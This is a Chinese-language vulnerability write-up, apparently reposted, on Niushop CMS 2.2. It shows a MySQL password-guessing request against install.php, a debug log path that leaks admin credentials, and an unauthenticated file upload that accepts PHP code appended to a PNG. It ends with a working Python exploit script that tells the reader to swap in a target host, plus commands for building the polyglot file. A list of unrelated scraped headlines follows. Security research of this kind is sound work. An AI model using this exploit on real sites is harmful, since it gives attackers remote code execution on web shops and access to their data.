niushop CMS最新版本测试全过程（前台Getshell）

From:[先知社区](https://xz.aliyun.com/t/3767 "先知社区")
本文适合0基础玩家。

### 0x01 环境搭建
Code：http://www.niushop.com.cn/download.html

Version：单商户 2.2

测试环境：MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor

![](http://0day5.com/usr/uploads/2019/01/4238649017.png)

### 0x02 黑盒测试
#### 0x02_1 安装测试

![](http://0day5.com/usr/uploads/2019/01/1365508902.png)
![](http://0day5.com/usr/uploads/2019/01/3059713841.png)

下图为改数据包发送后的文件变化

![](http://0day5.com/usr/uploads/2019/01/1798343079.png)

关键步骤的数据包 每进行一步骤通过Action发送到Repeater保存一份 注意通过FileMonitor观察文件变化 正常完成后再通过Repeater重新发送数据包并观察文件变化。

![](http://0day5.com/usr/uploads/2019/01/1001828690.png)

通过重新发送前面的数据包发现 即便已经安装 仍可以通过该数据包验证爆破mysql密码(如果mysql密码正确 此处返回值为1 错误为0) 归咎与逻辑错误 不算漏洞（如果外网可连接mysql 何必通过此处爆破）

POC：

GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
    Accept: */*
    Accept-Language: en
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/install.php?refresh
    X-Requested-With: XMLHttpRequest
    Connection: close
    Cookie: action=db
验证另外几个数据包发现文件并无变化 暂定为此处无漏洞。

#### 0x02_2 后台测试

![](http://0day5.com/usr/uploads/2019/01/3156510244.png)
![](http://0day5.com/usr/uploads/2019/01/1462407245.png)

后台登录建议讲数据包发送到Repeater进行多次发送 观察时候会有验证码等限制 测试后台是否可爆破 此处经过测试 可爆破

Python Poc：

同时注意观察文件变化

![](http://0day5.com/usr/uploads/2019/01/3040419384.png)

如图 发现会写出日志且目录命名简单 可猜解

http://host.com/runtime/log/201901/03.log
即为 域名 + /runtime/log/ + 年月 + / + 号数 + .log

可访问查看是否存在敏感信息泄露

![](http://0day5.com/usr/uploads/2019/01/3175274376.png)

如图 发现日志泄露了管理登录账号密码。

第一枚漏洞Get。

继续后台功能测试

![](http://0day5.com/usr/uploads/2019/01/2118866118.png)

从第一个功能开始测试 每个功能均使用一遍 持续观察文件变化！重要的数据包保存一份 重发测试。

![](http://0day5.com/usr/uploads/2019/01/2044492062.png)

经过使用功能时发现 此处仅不可直接上传php文件 但是可在Repeater中修改图片为php继续上传 将php文件修改为png格式后上传不通过 说明此处上传只做了前端限制和检查了文件头 此处先上传正常图片 然后修改后缀以及文件中间的内容为php代码来Getshell。

![](http://0day5.com/usr/uploads/2019/01/3598029424.png)
![](http://0day5.com/usr/uploads/2019/01/4168374157.png)

需要注意此时时需要后台权限的 可尝试修改后删除cookie测试上传能否继续完成。

![](http://0day5.com/usr/uploads/2019/01/1007856366.png)
![](http://0day5.com/usr/uploads/2019/01/591960049.png)

通过多次修改和观察发现 删除Cookie后可继续上传 但是如过度删除图片内容 会导致php文件虽然写入成功 但是路径无法返回 根据监控到的文件变化来看 此处以文件hash命名导致无法爆破到路径 可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。

![](http://0day5.com/usr/uploads/2019/01/4222096140.png)
![](http://0day5.com/usr/uploads/2019/01/2433591336.png)

通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试 发现其实最要把php文件追加到图片后面就可以了

命令

Windows:type phpinfo.php >> poc.png
    MacOS/Linux:cat phpinfo.php >> poc.png
至此 该CMS前台Getshell完成。

其余功能测试同理。

### 0x03 代码分析
整理一下前面的漏洞

mysql密码爆破
根据url直接定位到install.php文件
第38到62行
```php
if($_GET['action']){
    $dbserver = $_GET['dbserver'];
    $dbusername = $_GET['dbusername'];
    $dbpassword = $_GET['dbpassword'];
    $dbname = $_GET['dbname'];
    $link = mysql_connect($dbserver, $dbusername, $dbpassword);
    $query = mysql_query("SHOW DATABASES LIKE  '{$dbname}';");
    //                  var_dump($query);
    if(mysql_fetch_assoc($query) != false){
        //说明数据库已经存在
        echo 1;
        exit();
    }else{
        echo 0;
        exit();
    }
}
$actions = array('license', 'env', 'db', 'finish');
$action = $_COOKIE['action'];
$action = in_array($action, $actions) ? $action : 'license';
$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {
    header('location: ./index.php/shop');
    exit;
}
```
显而易见 在判断install.lock文件是否存在之前就进行数据库验证 不受install.lock的影响 属于逻辑问题 调整一下代码的位置或删除install.php即可修复。

敏感日志泄露
定位到application/admin/controller/index.php文件 第40行到68行代码如下
```php
public function index()
    {
        $debug = config('app_debug') == true ? '开发者模式' : '部署模式';
        $this->assign('debug', $debug);
        $main = \think\Request::instance()->domain();
        $this->assign('main', $main);
        // 销售排行
        $goods_rank = $this->getGoodsRealSalesRank();
        $this->assign("goods_list", $goods_rank);
        $this->assign("is_index", true);

//快捷菜单选项
        $config_service = new Config();
        $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);
        $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);

//快捷菜单id数组
        $selected_ids = [];
        foreach($shortcut_menu_list['data'] as $key=>$val){
            $selected_ids[] = $val['module_id'];
        }
        $this->assign('selected_ids',$selected_ids);

$this->assign('is_show_shortcut_menu',1);

$this->getSystemConfig();

return view($this->style . 'Index/index');
    }
```
如42行所示app_debug模式默认为true 为开启状态 改cms是基于thinkphp编写的 debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线 以解决此问题

前台Getshell
定位到application/admin/controller/Upload.php文件 第556行到568行代码如下
```php
// 验证文件
        if (! $this->validationFile()) {
            return $this->ajaxFileReturn();
        }
        $guid = time();
        $file_name_explode = explode(".", $this->file_name); // 图片名称
        $suffix = count($file_name_explode) - 1;
        $ext = "." . $file_name_explode[$suffix]; // 获取后缀名
                                                  // 获取原文件名
        $tmp_array = $file_name_explode;
        unset($tmp_array[$suffix]);
        $file_new_name = implode(".", $tmp_array);
        $newfile = md5($file_new_name . $guid) . $ext;
```
后台明没有后缀限制 上传成功后的新文件($newfile) 的后缀是从源文件中$ext取出来的 导致了后缀可控

### 0x04 Poc编写
```python
import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82 php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)
```
将poc种的127.0.0.1替换成目标即可

niushop CMS最新版本测试全过程（前台Getshell）

Trending Articles

[奇怪机翻组] 双梦相牵 / ふたりの夢もち [RJ01259078] [WebRip] [1080P HEVC-10Bit AAC 2.0]...

HONDA CITY VTI-S 菜單分享

#新闻拍一拍# 新的摩尔定律：黄氏定律

一如既往的痴情能否打动月瓶金蝎？ (豆瓣月亮水瓶小组)

求購按摩椅~'~

「粉红」不是霸凌辜莞允杠部落客：我爽在哪？

Intel 7-10代集成显卡驱动31.0.101.2137完整版

涉Gotbit加密货币市场操纵台男纽约被捕

臺灣法治會計學會2025年第三季研討會

不靠姊姊！張柏芝弟弟開計程車維生

关门一家亲：习远平、张澜澜、徐才厚

剑指offer——24.二叉树中和为某一值的路径

苏珊米勒日晕05.11｜狮子鼓励孩子；处女相信自己 (豆瓣 SUSAN MILLER小组)

【台積電IT卓越新戰略5】台積IT組織5年三次大調整，要靠平臺工程讓DevOps創新再加速

【日语无字】春之钟.Haru.no.kane.1985.JAP.vhsrip.NoSub.by.xiongzaixia&vivi

美籍老公不讓步李愛綺兒子念公立小學

新华网这张照片绝了!直讽江泽民宋祖英淫乱组图

湖州师范学院音乐学院开发的 Kontakt 8 明代魏氏乐琵琶/瑟/月琴音源即将发布

Google Chrome Portable 140.0.7339.186 穩定版免安裝中文版 - Google 瀏覽器

免费翻墙节点大全